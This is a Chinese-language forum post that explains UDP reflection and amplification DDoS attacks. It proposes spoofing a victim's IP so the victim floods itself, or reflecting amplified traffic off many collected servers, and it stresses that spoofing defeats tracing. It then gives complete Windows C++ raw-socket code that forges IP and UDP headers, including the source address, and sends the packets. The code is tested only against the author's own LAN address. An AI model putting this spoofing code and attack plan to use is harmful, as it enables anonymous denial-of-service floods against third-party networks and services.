|
楼主 |
发表于 2021-10-27 09:16:49
|
显示全部楼层
来自 中国云南文山壮族苗族自治州
放大攻击原理
很多协议在响应包处理时,要远大于请求包,一个字节的请求十个字的响应,十个字节的请求一百个字的响应,这就是UDP反射放大攻击最根本的原理。
而且,最重要的一点,UDP是不稳定的,不需要请求建立连接的
那么我就有点想法了
使用SOCKRAW,伪造UDP头和IP头,是否让目标流量返回给目标自己呢?事实上 我可以一点流量都接收不到,而目标在收到请求后需要放大还要将响应返回给自己。
另外一种用法,我搜集到了很多这种服务器(当做肉鸡),我伪造UDP头和IP头,伪造为我要攻击的目标,那么这些服务器在接收到我发送的数据后,所有的响应信息全部都会返回到目标IP去,这样也可以达到攻击的效果。
正因为UDP协议是可以伪造的,所以企业在溯源时很难找到攻击者是谁。
如今DDoS产业已经泛滥,技术成本极低,黑产链已经相当的完善和成熟,各个人员的分工,资源获取,集中管控,需求中介,简易化操作工具,方便快速的发起攻击,已经成为黑产界最喜爱的方式之一。
发送原始UDP封包 实现
/*
使用IP头包含选项
创建原始套接字之后,再打开IP_HDRINCL 选项,即可在IP头中封装自己的协议,而不是仅仅使用系统预定义的协议。
一般可以使用这种方法来发送UDP和TCP数据
IP数据报格式:
Version域:这4位指定了数据报的IP版本。对IPV4来说此域值为4.
IHL(IP header length 的缩写):因为IP头长度不是固定的,所以需要这4位来确定IP数据报中数据部分的开始位置。大多数IP数据报不包含此选项,所以通常IP数据报有20个字节的头长度。
Type of service(服务端类型,TOS):包含在IPV4头中,用来区分不同类型的IP数据报
Total length:这是IP数据报的总长度,IP头加数据。这个域是16位(2字节)长,所以IP数据报大小的理论最大值是65535字节。然而数据报的长度很少有超过1500字节的。
Identification域:用来表示已发送的IPV4封包。通常,系统每发送一次封包就增加一次这个值。
Falgs和Fragment offset域:当IPV4分包被分割为较小的包时使用这2个域。DF代表不要分割(dont fragment),这是一个给路由器的命令,告诉他们不要分割此数据报,因为目标主机没有能力将它们恢复回来(例如:机器在启动时)。MF代表更多的分割(More Fragments)。
Time to live(生存时间,TTL)域:包含TTL域是为了确保数据报不会永远呆在网络里打圈。每当数据报被路由器处理时,这个域就会减1,如果减到0,此数据报就会被丢弃。
Protocol域:当IP数据报到达目的地时才使用此域,它指定了IP数据报的数据部分将要传递给哪个传输层协议,例如,值6表示数据部分要被传递给TCP,值17表示数据部分要被传递给UDP。
Header checksum 域:头校验和帮助路由器检测接收到的IP数据报中的位错误。
Source address 和 Destianation address域:指定此数据报的源IP地址和目的IP地址。
Options域:选项域是一个长度可变的域,它包含了可选的信息。最大值是40字节。
*/
#include "pch.h"
#include <iostream>
#include <WinSock2.h>
#include <ws2ipdef.h>
#include <process.h>
#pragma warning(disable:4996)
#pragma comment(lib,"ws2_32.lib")
typedef struct _IPHeader {
u_char VIHL; //版本和首部长度 各占4bit
u_char ToS; //服务类型
u_short TotalLen; //总长度
u_short ID; //标识号
u_short Frag_Flags; //片偏移量
u_char TTL; //生存时间
u_char Protocol; //协议
u_short Checksum; //首部校验和
ULONG SrcIP;
ULONG DestIP;
//struct in_addr SrcIP; //源IP地址
//struct in_addr DestIP; //目的地址
}IPHDR, *PIPHDR;
/*UDP头*/
typedef struct _udpheader {
USHORT sourcePort; //来源端口
USHORT destinationPort;//目标端口
USHORT len;//封包长度
USHORT checkSum;//校验和
}UDP_HDR,*PUDP_HDR;
/*
因为UDP是不可靠协议,所以计算校验和是可选的。
和IP的校验和不同,UDP的校验和除了包含UDP的字节外,还包含IP头中的几个域。
计算UDP校验和所需的额外的域成为伪头。UDP校验和基于如下几个域:
(针对ipv4)
32位的源IP地址
32位的目的IP地址
8位0域
8位协议与
16位UDP长度
16位源端口号
16位目的端口号
16位UDP长度
16位UDP校验和(0)
UDP静荷(payload)
*/
//计算校验和
WORD checkSum(WORD* wBuff, int nSize) {
DWORD dwSum = 0;;
//将数据以WORD为单位累加到wSum
while (nSize > 1) {
dwSum += *wBuff++;
nSize -= sizeof(WORD);
}
//若出现最后还剩一个字节继续与前面结果相加(也就是为奇数的情况)。
if (nSize) {
dwSum += *(BYTE*)wBuff++;
}
while (dwSum >> 16) { //如果有高16位,将一直与低16位相加
dwSum = (dwSum >> 16) + (dwSum & 0xFFFF);
}
//取反
return (WORD)(~dwSum);
}
//计算UDP校验和
void ComputeUdpPseudoHeaderCchecksum(IPHDR * pIphdr, UDP_HDR * pUdphdr, char * payload, int payloadlen) {
char buff[1024] = { 0 };
char *ptr = buff;
int checksumlen = 0;
ULONG zero = 0;
//源IP地址
memcpy_s(ptr, sizeof(pIphdr->SrcIP),&pIphdr->SrcIP, sizeof(pIphdr->SrcIP));
ptr += sizeof(pIphdr->SrcIP);
checksumlen += sizeof(pIphdr->SrcIP);
//目的IP地址
memcpy_s(ptr, sizeof(pIphdr->DestIP), &pIphdr->DestIP, sizeof(pIphdr->DestIP));
ptr += sizeof(pIphdr->DestIP);
checksumlen += sizeof(pIphdr->DestIP);
//8位0
memcpy_s(ptr, 1, &zero, 1);
ptr += 1;
checksumlen += 1;
//协议
memcpy_s(ptr, sizeof(pIphdr->Protocol), &pIphdr->Protocol, sizeof(pIphdr->Protocol));
ptr += sizeof(pIphdr->Protocol);
checksumlen += sizeof(pIphdr->Protocol);
//UDP长度
memcpy_s(ptr, sizeof(pUdphdr->len), &pUdphdr->len, sizeof(pUdphdr->len));
ptr += sizeof(pUdphdr->len);
checksumlen += sizeof(pUdphdr->len);
//UDP源端口
memcpy_s(ptr, sizeof(pUdphdr->sourcePort), &pUdphdr->sourcePort, sizeof(pUdphdr->sourcePort));
ptr += sizeof(pUdphdr->sourcePort);
checksumlen += sizeof(pUdphdr->sourcePort);
//UDP目的端口
memcpy_s(ptr, sizeof(pUdphdr->destinationPort), &pUdphdr->destinationPort, sizeof(pUdphdr->destinationPort));
ptr += sizeof(pUdphdr->destinationPort);
checksumlen += sizeof(pUdphdr->destinationPort);
//又是UDP长度
memcpy_s(ptr, sizeof(pUdphdr->len), &pUdphdr->len, sizeof(pUdphdr->len));
ptr += sizeof(pUdphdr->len);
checksumlen += sizeof(pUdphdr->len);
//16位的UDP校验和,置为0
memcpy_s(ptr, sizeof(USHORT), &zero, sizeof(USHORT));
ptr += sizeof(USHORT);
checksumlen += sizeof(USHORT);
//净荷
memcpy_s(ptr, payloadlen, payload, payloadlen);
ptr += payloadlen;
checksumlen += payloadlen;
//补齐到下一个16位边界
for (int i = 0; i < payloadlen%2; i++) {
*ptr = 0;
ptr++;
checksumlen++;
}
pUdphdr->checkSum = checkSum((WORD*)buff, checksumlen);
}
//原始套接字 接收UDP封包
unsigned int WINAPI recvThread(PVOID lpParam) {
SOCKET s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
SOCKADDR_IN sin;
sin.sin_family = AF_INET;
sin.sin_port = ntohs(4567);
sin.sin_addr.S_un.S_addr = inet_addr("192.168.0.5");
if (::bind(s, (SOCKADDR *)&sin, sizeof(sin)) == SOCKET_ERROR) {
printf_s("绑定出错%d\n", GetLastError());
closesocket(s);
return 1;
}
char sz[256] = { 0 };
SOCKADDR_IN addrRemote;
int nLen = sizeof(addrRemote);
printf_s("准备接收\n");
int nRet = recvfrom(s, sz, 256, 0, (sockaddr*)&addrRemote, &nLen);
if (nRet > 0){
printf_s("来自ip:%s:%d,内容:%s \n", inet_ntoa(addrRemote.sin_addr), htons(addrRemote.sin_port), sz);
}
printf_s("接收线程结束");
return 0;
}
//原始套接字 发送udp封包
int main()
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
//先开始接收线程
_beginthreadex(NULL, 0, recvThread, NULL, 0, 0);
char Msg[] = "哈哈哈哈";
int nMsgLen = sizeof(Msg);
SOCKET sSend = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if (sSend == INVALID_SOCKET) {
printf_s("请管理员运行\n");
return -1;
}
BOOL bIncl = TRUE;
if (setsockopt(sSend, IPPROTO_IP, IP_HDRINCL, (char*)&bIncl, sizeof(bIncl)) == SOCKET_ERROR) {
printf_s("设置失败 %d\n",WSAGetLastError());
closesocket(sSend);
return -1;
}
char buff[1024] = { 0 };
//ip头
IPHDR* pIphdr = (IPHDR*)buff;
pIphdr->VIHL = (4 << 4 | (sizeof(IPHDR) / sizeof(ULONG)));
pIphdr->TotalLen = htons(sizeof(IPHDR) + sizeof(UDP_HDR) + nMsgLen);
pIphdr->TTL = 128;
pIphdr->Protocol = IPPROTO_UDP;
pIphdr->SrcIP = inet_addr("192.168.0.5");//做测试 所以都是我
pIphdr->DestIP = inet_addr("192.168.0.5");
pIphdr->Checksum = checkSum((USHORT*)pIphdr, sizeof(IPHDR));
//UDP头
UDP_HDR* pUdphdr = (UDP_HDR*)(buff + sizeof(IPHDR));
pUdphdr->sourcePort = htons(8888);
pUdphdr->destinationPort = htons(4567);
pUdphdr->len = htons(sizeof(UDP_HDR) + nMsgLen);
pUdphdr->checkSum = 0;
char* pPayload = buff + sizeof(IPHDR) + sizeof(UDP_HDR);
memcpy_s(pPayload, 1024 - sizeof(IPHDR) - sizeof(UDP_HDR), Msg, nMsgLen);
ComputeUdpPseudoHeaderCchecksum(pIphdr, pUdphdr, pPayload, nMsgLen);
//设置目的地址 要和UDP头中相同
SOCKADDR_IN sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(4567);
sin.sin_addr.S_un.S_addr = inet_addr("192.168.0.5");
int nRet = sendto(sSend, buff, nMsgLen + sizeof(IPHDR) + sizeof(UDP_HDR), 0, (sockaddr*)&sin, sizeof(sin));
if (nRet == SOCKET_ERROR) {
printf_s("发送失败\n");
}
printf_s("发送完成\n");
Sleep(10000);
closesocket(sSend);
WSACleanup();
}
|
|